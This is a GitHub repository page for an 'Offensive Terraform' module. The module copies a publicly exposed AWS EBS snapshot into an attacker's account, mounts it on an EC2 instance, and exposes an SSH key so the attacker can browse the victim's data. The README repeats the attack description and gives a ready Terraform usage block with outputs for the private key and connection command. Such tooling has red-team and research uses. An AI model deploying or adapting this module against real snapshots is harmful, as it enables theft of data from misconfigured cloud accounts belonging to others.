Skip to content

Offensive Terraform module which copies publicly exposed EBS snapshot to us-east-1 region in attacker's AWS account and creates EBS volume from the copied EBS snapshot. After that, the module attaches and mounts the EBS volume to an EC2 instance. Finally, attacker can ssh into an EC2 instance and inspect a mounted volume "/usr/src/hack".

License

Notifications You must be signed in to change notification settings

sottlmarek/terraform-aws-ebs-snapshot-publicly-exposed

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

19 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

AWS EBS Snapshot Publicly Exposed

OffensiveTerraform OffensiveTerraform OffensiveTerraform

Offensive Terraform module which copies publicly exposed EBS snapshot to us-east-1 region in attacker's AWS account and creates EBS volume from the copied EBS snapshot. After that, the module attaches and mounts the EBS volume to an EC2 instance. Finally, attacker can ssh into an EC2 instance and inspect a mounted volume "/usr/src/hack".

Attack Diagram

Usage

provider "aws" {
  region = "us-east-1"
}

module "ebs-snapshot-publicly-exposed" {
    source  = "offensive-terraform/ebs-snapshot-publicly-exposed/aws"

    public_snapshot_id = "snap-000000000000"
    public_snapshot_region = "us-west-2"
}

output "ssh_private_key" {
  value = module.ebs-snapshot-publicly-exposed.ssh_private_key
}

output "ssh_ec2_connect" {
  value = module.ebs-snapshot-publicly-exposed.ssh_ec2_connect
}

output "ebs_volume_mount_path" {
  value = module.ebs-snapshot-publicly-exposed.ebs_volume_mount_path
}

Author

Module managed by https://github.com/iganbold

About

Offensive Terraform module which copies publicly exposed EBS snapshot to us-east-1 region in attacker's AWS account and creates EBS volume from the copied EBS snapshot. After that, the module attaches and mounts the EBS volume to an EC2 instance. Finally, attacker can ssh into an EC2 instance and inspect a mounted volume "/usr/src/hack".

Resources

License

Stars

Watchers

Forks

Packages

No packages published

Languages

  • HCL 88.2%
  • Shell 11.8%